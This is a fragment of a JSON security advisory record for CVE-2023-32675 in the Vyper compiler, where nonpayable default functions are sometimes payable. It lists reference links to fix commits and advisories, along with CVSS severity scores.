      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/02339dfda0f3caabad142060d511d10bfe93c520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/02339dfda0f3caabad142060d511d10bfe93c520."
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/903727006c1e5ebef99fa9fd5d51d62bd33d72a9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2023-80.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vyper\u0027s nonpayable default functions are sometimes payable"
}